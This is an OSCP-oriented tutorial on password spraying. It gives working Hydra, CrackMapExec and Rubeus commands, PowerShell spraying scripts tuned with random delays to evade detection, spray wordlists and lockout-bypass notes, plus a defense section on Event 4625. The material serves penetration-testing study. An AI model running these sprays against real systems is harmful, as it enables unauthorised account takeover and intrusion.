Domain 4PrivEsc & Password AttacksCORE

Password Spraying Techniques

Complete guide to password spraying techniques that evade account lockout by trying few passwords against many users. Covers Hydra, CrackMapExec, Rubeus, and custom PowerShell spraying with delay and randomization.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#password-spraying#lockout-evasion#hydra#crackmapexec#rubeus

Password Spraying Techniques

1. Concept — Why Password Spraying Works

1.1 Definition

Password spraying is a credential attack technique where an adversary tries a small number of common passwords (often just one at a time) against a large number of usernames within a target environment. This is the inverse of traditional brute force, which tries many passwords against a single account.

The core insight is simple: instead of hammering one account with thousands of guesses, gently tap every account with a few guesses.

1.2 Why It Works — The Four Pillars

Pillar 1: Account Lockout Evasion

Most organizations implement account lockout policies to defend against brute force attacks. A typical policy might lock an account after 5 consecutive failed login attempts. Under a traditional brute force approach, this immediately blocks the attacker.

Password spraying sidesteps this entirely. By making only one attempt per account per round, the attacker never triggers the lockout threshold. If the lockout threshold is 5, and the attacker only tries 1 password per user, the account accumulates only 1 failure — far below the threshold.

Lockout Threshold Brute Force Attempts Before Lockout Spraying Attempts Before Lockout
5 5 Effectively unlimited (1 per round)
10 10 Effectively unlimited (1 per round)
20 20 Effectively unlimited (1 per round)
No lockout Unlimited Unlimited

Pillar 2: Human Password Behavior

Despite password complexity requirements, human beings are remarkably predictable:

  • Password rotation cycles: When forced to change passwords quarterly, users incrementally modify the same base (Password1! → Password2! → Password3!).
  • Seasonal patterns: Many organizations require password changes around holidays or quarter ends, producing passwords like Summer2024!, Winter2025!, HappyHolidays!.
  • Default passwords: Help desks often set initial passwords to company-standard values (Welcome1!, Company2024!).
  • Simple substitutions: Users apply the same minimal transformations (P@ssw0rd!, Admin123!).

When you spray a single well-chosen password like Password1! across 500 accounts, statistically, some percentage of users will have that exact password — especially if the organization enforces complexity rules that all users satisfy in the same predictable way.

Pillar 3: Low Detection Risk

Password spraying generates a pattern of failed logons that looks deceptively normal:

  • Each individual account shows only 1–2 failures (well below lockout thresholds).
  • The failures come from many different accounts (not concentrated on a single target).
  • If delays are introduced between attempts, the timing looks like legitimate user behavior.

Security teams monitoring for “many failures on one account” (the classic brute force signature) will often miss a spray attack entirely, because the signature is “one failure on many accounts” — which can look like users simply forgetting their passwords.

Pillar 4: High Reward, Low Effort

A single successful credential from a spray attack can grant:

  • Network access for lateral movement
  • File share access for data collection
  • A foothold for privilege escalation
  • Domain user access for Kerberos-based attacks

The attacker only needs one success to establish a foothold, making the risk-reward ratio extremely favorable.

1.3 Comparison: Brute Force vs. Password Spraying

Aspect Brute Force Password Spraying
Strategy Many passwords → One user One password → Many users
Attempts per account Hundreds to thousands 1–5 per round
Accounts targeted 1 (or a few) Dozens to hundreds
Lockout risk Very high — quickly triggers thresholds Very low — stays below thresholds
Detection profile Obvious — burst of failures on one account Subtle — scattered single failures
Speed Fast (if no lockout) Slow (by design)
Success probability Depends on password complexity Depends on user password habits
Best when Targeting specific high-value accounts Targeting broad user bases
Tool examples Hydra (single user, large wordlist) Hydra (-L flag), CrackMapExec, Rubeus

Key takeaway: Brute force is a depth-first approach (go deep on one account). Password spraying is a breadth-first approach (go wide across many accounts). In enterprise environments with lockout policies, spraying is often the only viable online attack against user accounts.


OSCP Exam Tip

On the OSCP exam, password spraying is particularly relevant when:

  • You have enumerated a list of domain usernames (e.g., via LDAP, SMB enumeration, or responder poisoning).
  • The target is a Windows domain environment with Active Directory.
  • You need a foothold but haven’t found exploitable services yet.
  • The lab machine description hints at weak password policies.

Always try spraying before investing hours in complex exploitation — a simple credential can give you immediate domain access.


2. Attack Workflow — End-to-End Pipeline

2.1 The Complete Attack Chain

A successful password spraying campaign follows a structured pipeline. Understanding each phase helps both in execution and in recognizing what defenders should monitor.

flowchart TD
    subgraph Phase1["Phase 1: Reconnaissance"]
        A1["Enumerate Usernames<br/>(LDAP, SMB, Responder, etc.)"] --> A2["Build Username List<br/>(users.txt)"]
    end

    subgraph Phase2["Phase 2: Password Selection"]
        B1["Research Target<br/>(company name, season, policy)"] --> B2["Select Candidate Passwords<br/>(1-5 passwords per round)"]
    end

    subgraph Phase3["Phase 3: Execution"]
        C1["Configure Tool<br/>(delay, threads, randomization)"] --> C2["Try Password 1 Against All Users"]
        C2 --> C3{Any Success?}
        C3 -->|Yes| C4["Capture Credentials<br/>(log username:password)"]
        C3 -->|No| C5{More Passwords?}
        C5 -->|Yes| C6["Add Delay / Randomize Order"]
        C6 --> C2
        C5 -->|No| C7["Attack Complete — No Success"]
    end

    subgraph Phase4["Phase 4: Post-Exploitation"]
        C4 --> D1["Validate Access<br/>(SMB share, RDP, etc.)"]
        D1 --> D2["Lateral Movement<br/>(psexec, wmi, etc.)"]
        D2 --> D3["Privilege Escalation<br/>(local → domain)"]
    end

    Phase1 --> Phase2
    Phase2 --> Phase3
    Phase3 --> Phase4

2.2 Phase-by-Phase Breakdown

Phase 1: Username Acquisition

Before spraying, you need a list of valid usernames. Sources include:

  • LDAP enumeration: Querying Global Catalog (port 389/3268) for user objects.
  • SMB null sessions: Connecting to \\target\IPC$ with blank credentials to enumerate users.
  • Responder/Netlify: Poisoning LLMNR/NBT-NS queries to capture NetNTLMv2 hashes (which reveal usernames).
  • OSINT: LinkedIn, company websites, email footers revealing naming conventions.
  • SMTP enumeration: VRFY/EXPN commands on mail servers.
  • Already known: Sometimes usernames are revealed during initial reconnaissance (e.g., in error messages, SSH banners, or web application source code).

Output: A clean text file (users.txt) with one username per line.

Phase 2: Password Selection

The quality of your password list determines your success rate. Categories of passwords to consider:

Category Rationale Examples
Seasonal Passwords change with seasons/quarters Summer2024!, Winter2025!, Q12025!
Company-based Default passwords set by IT CompanyName1!, Welcome2024!, Corp2025!
Default/Standard Commonly mandated passwords Password1!, P@ssw0rd!, Welcome1!
Simple + compliant Meets complexity with minimal effort 123456!, Qwerty1!, Admin123!
Policy-compliant Matches known complexity rules Summer2024!, Company123!, Password1!
Username-derived Users incorporate their name john.johnson1!, jjohnson1!

Strategy: Start with the most likely password for the current context. If it’s June–August, try Summer2024! first. If the company name is “TechCorp,” try TechCorp1!.

Phase 3: Slow Execution

This is the critical phase where technique matters most:

  1. One password at a time: Try Password1! against ALL users before moving to the next password.
  2. Randomize order: Don’t try users alphabetically. Shuffle the list each round to avoid pattern detection.
  3. Add delays: Wait 5–30 seconds (randomized) between each attempt.
  4. Limit threads: Use 1–5 concurrent threads, not dozens.
  5. Log successes immediately: When a credential works, capture it and optionally stop (or continue with --continue-on-success).

Phase 4: Credential Capture and Pivot

Once a valid credential is found:

  1. Validate: Test the credential against a known service (SMB, RDP, etc.).
  2. Document: Record the username, password, and target for your report.
  3. Pivot: Use the credential for lateral movement, privilege escalation, or further enumeration.
  4. Continue or stop: Depending on objectives, you may stop after one success or continue spraying to find more credentials.

3. Tools and Commands

3.1 Hydra — Multi-Protocol Spraying

Hydra is a versatile online password cracking tool that supports dozens of protocols. For password spraying, the key is using the -L flag (uppercase L for user list) with a single -p (lowercase p for single password).

Basic Syntax

hydra -L <userlist> -p <password> [-t threads] [-w wait] [-V] <protocol>://<target>

Flag Reference for Spraying

Flag Purpose Spraying-Relevant Values
-L Load usernames from file users.txt
-p Single password to spray "Password1!"
-t Number of concurrent threads 5 (low for stealth)
-w Wait time between attempts (seconds) 30 (high for evasion)
-V Verbose — show each attempt Useful for monitoring
-M Load targets from file targets.txt (multiple servers)
-s Non-standard port 139 for SMB, 3389 for RDP
-f Stop on first success Useful when you only need one credential
-o Output file results.txt
-l Single username (lowercase L) Not used in spraying

Practical Examples

# Example 1: SSH password spraying — one password against many users
# Low threads (5), verbose output, single target
hydra -L users.txt -p "Password123!" -t 5 -V ssh://192.168.1.10

# Example 2: SSH spraying with delay between attempts
# The -w flag adds a 30-second wait between each attempt
# This is critical for evading detection on monitored systems
hydra -L users.txt -p "Password123!" -t 5 -w 30 ssh://192.168.1.10

# Example 3: SMB spraying against a Windows server
# Tests credentials against the SMB service (port 445)
hydra -L users.txt -p "Summer2024!" smb://192.168.1.10

# Example 4: Multi-target spraying
# Spray the same password against multiple servers listed in targets.txt
hydra -M targets.txt -L users.txt -p "Password123!" ssh

# Example 5: Stop on first success
# Useful when you only need one valid credential to proceed
hydra -L users.txt -p "Password123!" -t 3 -f -V ssh://192.168.1.10

# Example 6: RDP spraying
# Test credentials against Remote Desktop (port 3389)
hydra -L users.txt -p "Welcome2024!" -s 3389 rdp://192.168.1.10

# Example 7: HTTP POST form spraying
# For web applications with login forms
hydra -L users.txt -p "Password1!" -V \
  http-post-form "192.168.1.10/login.php:username=^USER^&password=^PASS^:Login Failed" \
  -t 3 -w 10

Hydra Spraying Best Practices

  • Always use -w (wait time): Without delays, rapid attempts can trigger anomaly detection even if individual accounts don’t hit lockout thresholds.
  • Keep -t (threads) low: 1–5 threads is ideal for stealth. Higher values increase speed but also detection risk.
  • Use -f for single-success scenarios: If you only need one foothold, stop immediately after finding it.
  • Combine with -M for broad campaigns: When targeting an entire subnet, list all targets and spray across them.

3.2 CrackMapExec — Enterprise-Grade SMB Spraying

CrackMapExec (CME) is purpose-built for Active Directory environments. It excels at SMB-based password spraying across entire subnets with built-in domain awareness.

Basic Syntax

crackmapexec smb <target> -u <userlist> -p <password> [options]

Flag Reference for Spraying

Flag Purpose Spraying-Relevant Values
-u Username file users.txt
-p Single password "Password123!"
-P Password file (uppercase P) common_passwords.txt
-d Domain name CORP
--continue-on-success Keep going after finding valid creds Critical for full enumeration
-v Verbose output Show detailed results
--shares Enumerate shares after successful login Post-exploitation
--local-auth Authenticate locally instead of to domain For local admin spraying

Practical Examples

# Example 1: Basic SMB spraying against a subnet
# Tries "Password123!" against every user in users.txt on all hosts in the /24 range
crackmapexec smb 192.168.1.0/24 -u users.txt -p "Password123!"

# Example 2: SMB spraying with domain specification
# Authenticates to the CORP domain instead of using local authentication
crackmapexec smb 192.168.1.0/24 -u users.txt -p "Password123!" -d CORP

# Example 3: Multiple passwords from a file
# Tries each password in common_passwords.txt against all users
# This is effectively multi-round spraying in one command
crackmapexec smb 192.168.1.0/24 -u users.txt -P common_passwords.txt

# Example 4: Continue on success
# By default, CME stops trying a user once a password works
# --continue-on-success forces it to try ALL passwords against ALL users
# Useful for finding ALL valid credentials, not just the first
crackmapexec smb 192.168.1.0/24 -u users.txt -p "Password123!" --continue-on-success

# Example 5: Enumerate shares after finding valid credentials
# Automatically lists accessible shares when a credential works
crackmapexec smb 192.168.1.0/24 -u users.txt -p "Password123!" --shares

# Example 6: Local admin password spraying
# Tests if the same password works as a local administrator on multiple machines
crackmapexec smb 192.168.1.0/24 -u admin -p "Password123!" --local-auth

# Example 7: Protocol-specific — LDAP user enumeration + spraying
# First enumerate users via LDAP, then spray
crackmapexec ldap 192.168.1.10 -u '' -p '' --users
crackmapexec smb 192.168.1.0/24 -u users.txt -p "Summer2024!" -d CORP.local

CrackMapExec Spraying Best Practices

  • Use subnet ranges: CME can target entire subnets (192.168.1.0/24), making it ideal for broad campaigns.
  • Always specify -d: Without a domain, CME may attempt local authentication, which changes the attack vector.
  • --continue-on-success is essential: When spraying multiple passwords, this flag ensures you find all valid combinations, not just the first.
  • Combine with post-exploitation: Flags like --shares, --groups, and --sessions provide immediate value after finding credentials.

3.3 Rubeus — Kerberos-Based Spraying

Rubeus is a powerful .NET tool for Kerberos attacks. Its brute module performs password spraying at the Kerberos protocol level, which is particularly effective in Active Directory environments.

Basic Syntax

Rubeus.exe brute /users:<userlist> /passwords:<passwordlist> /domain:<domain> /outfile:<results>

Parameter Reference for Spraying

Parameter Purpose Spraying-Relevant Values
/users: Username file users.txt
/password: Single password Password123!
/passwords: Password file passwords.txt
/domain: Target domain CORP.local
/outfile: Results output file results.txt
/continue Continue after success Find all valid creds
/delay: Delay between attempts (ms) 5000 (5 seconds)
/rtc Randomize target order Avoid sequential patterns
/nowrap Don’t wrap output Cleaner output

Practical Examples

# Example 1: Kerberos password spraying with user and password files
# Attempts each password in passwords.txt against each user in users.txt
# Results are saved to results.txt
Rubeus.exe brute /users:users.txt /passwords:passwords.txt /domain:CORP.local /outfile:results.txt

# Example 2: Single password spray
# Sprays one specific password against all users
Rubeus.exe brute /users:users.txt /password:"Password123!" /domain:CORP.local

# Example 3: Spraying with delay and randomization
# Adds a 5-second delay between attempts and randomizes user order
# This is the stealthiest configuration
Rubeus.exe brute /users:users.txt /password:"Summer2024!" /domain:CORP.local /delay:5000 /rtc

# Example 4: Continue after success
# Finds ALL valid credentials, not just the first
Rubeus.exe brute /users:users.txt /passwords:passwords.txt /domain:CORP.local /outfile:results.txt /continue

# Example 5: Unauthenticated spraying (no ticket required)
# Works without any prior credentials — ideal for initial access
Rubeus.exe brute /users:users.txt /password:"Password1!" /domain:CORP.local

Why Kerberos Spraying Is Special

Kerberos-based spraying offers unique advantages:

  1. No SMB required: Works purely at the Kerberos protocol level (port 88/TCP), bypassing SMB-level defenses.
  2. TGT generation on success: When a credential works, Rubeus can directly generate a Ticket Granting Ticket (TGT), giving you immediate Kerberos-based access.
  3. Domain controller targeting: You can target the DC directly, making it efficient for large domains.
  4. No service dependency: Unlike SMB spraying (which needs the target machine’s SMB service), Kerberos spraying only needs the DC to be reachable.

3.4 Custom PowerShell — Maximum Control

When tools don’t fit your exact needs, a custom PowerShell script gives you complete control over timing, randomization, and credential testing logic.

Full Script with Best Practices

# ============================================================
# Password Spraying Script — PowerShell
# Features: Random delay, shuffled user order, credential logging
# ============================================================

# Configuration
$users = Get-Content "users.txt"
$password = "Password123!"
$domain = "CORP"
$targetServer = "FILESERVER"
$logFile = "spray_results.log"

# Shuffle users to avoid alphabetical pattern detection
$shuffledUsers = $users | Get-Random -Count $users.Count

foreach ($user in $shuffledUsers) {
    try {
        # Create PSCredential object
        $secPass = ConvertTo-SecureString $password -AsPlainText -Force
        $cred = New-Object System.Management.Automation.PSCredential (
            "$domain\$user", $secPass
        )

        # Test credential by accessing an admin share
        $result = Test-Path "\\$targetServer\C$" -Credential $cred -ErrorAction Stop

        if ($result) {
            # SUCCESS — log and highlight
            $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
            Write-Host "[+] $timestamp — SUCCESS: $user : $password" -ForegroundColor Green
            Add-Content -Path $logFile -Value "[+] $timestamp — $user : $password"
        }
    }
    catch {
        # FAILURE — log silently (or with verbose flag)
        Write-Host "[-] $user failed" -ForegroundColor DarkRed
    }

    # Random delay between 5 and 30 seconds
    # This is CRITICAL for evasion — prevents pattern detection
    $delay = Get-Random -Minimum 5 -Maximum 30
    Write-Host "    (sleeping ${delay}s...)" -ForegroundColor DarkGray
    Start-Sleep -Seconds $delay
}

Write-Host "`n[!] Spraying complete." -ForegroundColor Yellow

Script Features Explained

Feature Implementation Why It Matters
Shuffled order Get-Random -Count $users.Count Prevents alphabetical pattern detection by SIEM
Random delay Get-Random -Minimum 5 -Maximum 30 Each attempt has unpredictable timing
Credential logging Add-Content -Path $logFile Successes are captured even if console output is lost
Error handling try/catch block Script continues even if one attempt throws an exception
Timestamp logging Get-Date -Format "..." Audit trail for reporting
Silent failures Dark red output Reduces console noise while still tracking progress

Advanced: Multi-Round Spraying

# Multi-round spraying — tries multiple passwords, one round at a time
$passwords = @("Password1!", "Summer2024!", "Welcome1!", "Company2024!")
$users = Get-Content "users.txt" | Get-Random -Count (Get-Content "users.txt").Count
$domain = "CORP"

foreach ($password in $passwords) {
    Write-Host "`n=== Trying password: $password ===" -ForegroundColor Cyan

    foreach ($user in $users) {
        try {
            $secPass = ConvertTo-SecureString $password -AsPlainText -Force
            $cred = New-Object System.Management.Automation.PSCredential (
                "$domain\$user", $secPass
            )
            Test-Path "\\FILESERVER\C$" -Credential $cred -ErrorAction Stop | Out-Null
            Write-Host "[+] SUCCESS: $user : $password" -ForegroundColor Green
        }
        catch {
            # Silently fail
        }

        # Random delay per attempt
        Start-Sleep -Seconds (Get-Random -Minimum 3 -Maximum 15)
    }

    # Longer delay between password rounds
    Write-Host "    Round complete. Waiting 60s before next password..." -ForegroundColor DarkGray
    Start-Sleep -Seconds 60
}

4. Common Passwords for Spraying — Selection Strategy

The success of a password spray attack depends almost entirely on choosing the right passwords. Below is a comprehensive categorization with rationale and examples.

4.1 Password Categories and Examples

Category Rationale Examples Success Likelihood
Seasonal Passwords change with seasons; users append current season/year Summer2024!, Winter2025!, Spring2024!, Fall2024! Very High (during season)
Quarterly Corporate quarters drive password changes Q12025!, Q22024!, Q32025! High (at quarter boundaries)
Company-based IT sets default passwords using company name TechCorp1!, CompanyName2024!, CorpWelcome1! High (new employees)
Holiday Password changes around holidays HappyHolidays!, MerryXmas1!, NewYear2025! Medium-High (near holidays)
Default/Standard Universally common mandated passwords Password1!, P@ssw0rd!, Welcome1!, Default1! Medium (always worth trying)
Simple + compliant Minimal effort to meet complexity rules 123456!, Qwerty1!, Admin123!, Passw0rd! Medium
Policy-compliant Matches known organizational complexity rules Summer2024!, Company123!, Password1! High (if policy is known)
Username-derived Users incorporate their own name john.johnson1!, jjohnson!1, John123! Low-Medium (per-user)

4.2 Password Selection Strategy

Step 1: Determine the current context

  • What month/season is it? → Try seasonal passwords first.
  • What is the company name? → Try company-based passwords.
  • What is the known password policy? → Build policy-compliant candidates.

Step 2: Prioritize by likelihood

  1. Seasonal password for the current season (highest hit rate)
  2. Company name + year + special character
  3. Password1! and variants (universal baseline)
  4. Holiday passwords (if near a holiday)
  5. Simple compliant passwords

Step 3: Execute one round at a time

  • Spray the #1 candidate against ALL users first.
  • If no success, wait, then spray the #2 candidate.
  • Continue until success or list exhausted.

4.3 Building a Spray Wordlist

# spray_list.txt — Ordered by priority (try top first)
Summer2024!
Password1!
CompanyName1!
Welcome2024!
P@ssw0rd!
Winter2025!
Spring2024!
Fall2024!
HappyHolidays!
Admin123!
Q12025!
Q22025!
Company123!
Default1!
Passw0rd!

OSCP Exam Tip

On the OSCP exam, lab machines often use predictable passwords. Common patterns include:

  • Password1 or Password1! (the most common default)
  • The machine name or room name as a password
  • Seasonal passwords matching the exam period
  • Simple passwords like password, admin, or P@ssw0rd

When in doubt, start with Password1! — it works more often than you’d expect.


5. Defense — Detecting and Preventing Password Spraying

Understanding defenses is critical for both the OSCP exam (where you may need to work around them) and for real-world security awareness.

5.1 Defense Mechanisms

Defense How It Works Effectiveness Against Spraying Bypass Considerations
Account lockout policy Locks account after N failed attempts Low — spraying stays below threshold per account N/A (spraying already evades this)
Conditional Access (Azure AD) Requires MFA for suspicious login patterns High — forces MFA even with valid password MFA fatigue, token theft
Risk-based authentication AI/ML detects anomalous login patterns Medium-High — flags distributed failures Slow spraying with delays may evade
Event 4625 monitoring Windows Security Event for failed logons Medium — requires correlation across accounts Random delays and order reduce pattern
SIEM correlation rules Detects “many accounts, same time window” Medium — effective if properly tuned Longer time windows evade correlation
Delay enforcement Server-side rate limiting between auth attempts Medium — slows attack but doesn’t prevent Attacker can increase their own delays
Named account lockout Locks based on failed attempts from same source IP Medium-High — limits per-source attempts Use multiple source IPs or proxies
Password expiration enforcement Forces regular password changes Indirect — increases password diversity Seasonal spraying adapts to new passwords

5.2 Event 4625 — The Key Indicator

Windows Security Event 4625 is generated for every failed logon attempt. This is the primary data source for detecting password spraying.

What defenders look for:

Normal pattern (user forgot password):
  User: jsmith — 3 failures over 10 minutes — SAME account

Spraying pattern (attack):
  User: jsmith — 1 failure at 10:00
  User: jdoe   — 1 failure at 10:00:05
  User: ajones — 1 failure at 10:00:10
  User: blee   — 1 failure at 10:00:15
  ... (50+ different accounts, 1 failure each, same time window)

Detection rule example (SIEM):

Alert when:
  - Count(Distinct Username) > 10
  - AND EventID = 4625
  - AND TimeWindow = 5 minutes
  - AND SourceIP is the same

5.3 Why Traditional Lockout Doesn’t Stop Spraying

Account lockout policies are designed to stop brute force attacks (many attempts on one account). They are fundamentally ineffective against password spraying because:

  1. Per-account threshold: Lockout triggers at N failures per account. Spraying generates only 1 failure per account.
  2. No cross-account correlation: The lockout mechanism doesn’t know that failures across 50 accounts from the same source IP are related.
  3. Administrative overhead: Even if lockout is triggered, administrators must manually unlock accounts — creating a denial-of-service vector that attackers can exploit.

This is why spraying is often MORE dangerous than brute force in environments with lockout policies — the very defense that stops brute force is invisible to spraying.


OSCP Exam Tip

When you encounter a locked-out account during the exam:

  1. Don’t keep trying — you’ll only extend the lockout period.
  2. Switch to spraying — try one password against other accounts instead.
  3. Wait it out — if you must target a specific account, note the lockout duration and come back later.
  4. Use offline methods — if you have a hash, crack it offline with Hashcat instead of attacking online.

6. OSCP Exam Relevance

6.1 When Password Spraying Is Useful in Exam Scenarios

Password spraying appears in OSCP exam scenarios in the following contexts:

Scenario Indicator Recommended Tool
Windows domain foothold You have usernames from enumeration, need initial access CrackMapExec (SMB)
Linux server access SSH service open, usernames known Hydra (SSH)
Web application login Login form with username/password fields Hydra (HTTP-POST-FORM)
Kerberos environment Active Directory domain, DC reachable Rubeus (Kerberos brute)
Post-exploitation lateral movement You have one credential, need more CrackMapExec (with --continue-on-success)
Time-constrained You need quick access and can’t afford long exploitation Spraying (fast if password is common)

6.2 Exam-Specific Tips

  1. Always enumerate usernames first: Before spraying, spend time enumerating valid usernames. LDAP, SMB null sessions, and Responder are your friends.

  2. Start with the simplest password: Password1, Password1!, and password are the most common OSCP lab passwords. Try these before building complex wordlists.

  3. Use CrackMapExec for Windows: It’s the most efficient tool for domain environments. The subnet scanning capability (192.168.x.0/24) lets you spray across the entire lab network.

  4. Document everything: Record every credential you find, even if you don’t use it immediately. The exam report requires thorough documentation.

  5. Spray before you exploit: If you have both an exploitation path and a spraying option, try spraying first. A valid credential gives you immediate access and often reveals more attack paths.

  6. Be patient with delays: In the exam environment, aggressive spraying can trigger detection mechanisms. Use reasonable delays (5–15 seconds) between attempts.

  7. Combine with other techniques: After finding a credential via spraying, immediately check:

    • What groups is the user in? (crackmapexec smb <target> -u <user> -p <pass> --groups)
    • What shares can they access? (--shares)
    • Can they run commands? (crackmapexec smb <target> -u <user> -p <pass> -x "whoami")

6.3 Common Exam Passwords

Based on common OSCP lab configurations, the following passwords appear frequently:

Password1
Password1!
password
P@ssw0rd
Welcome1
admin
administrator
test
user
lab

Summary

Password spraying is a powerful, stealthy technique that exploits the gap between account-level defenses and organization-level attack patterns. Key takeaways:

  1. Spraying inverts brute force: One password against many users instead of many passwords against one user.
  2. Lockout evasion is the primary advantage: By staying below per-account thresholds, spraying bypasses the most common defense.
  3. Tool selection matters: CrackMapExec for SMB/AD, Hydra for multi-protocol, Rubeus for Kerberos, PowerShell for maximum control.
  4. Password quality over quantity: A well-chosen seasonal or company-based password beats a large random wordlist.
  5. Delays and randomization are mandatory: Without them, spraying patterns become detectable.
  6. Event 4625 correlation is the primary defense: SIEM rules that detect “many accounts, one source, short time window” are the most effective countermeasure.
  7. On the OSCP exam: Spraying is often the fastest path to initial access when usernames are known and password policies are weak.

Practice each spraying technique in a lab environment. Set up a Windows domain with multiple users, assign common passwords, and practice with CrackMapExec and Hydra. The muscle memory you build will pay dividends during the exam.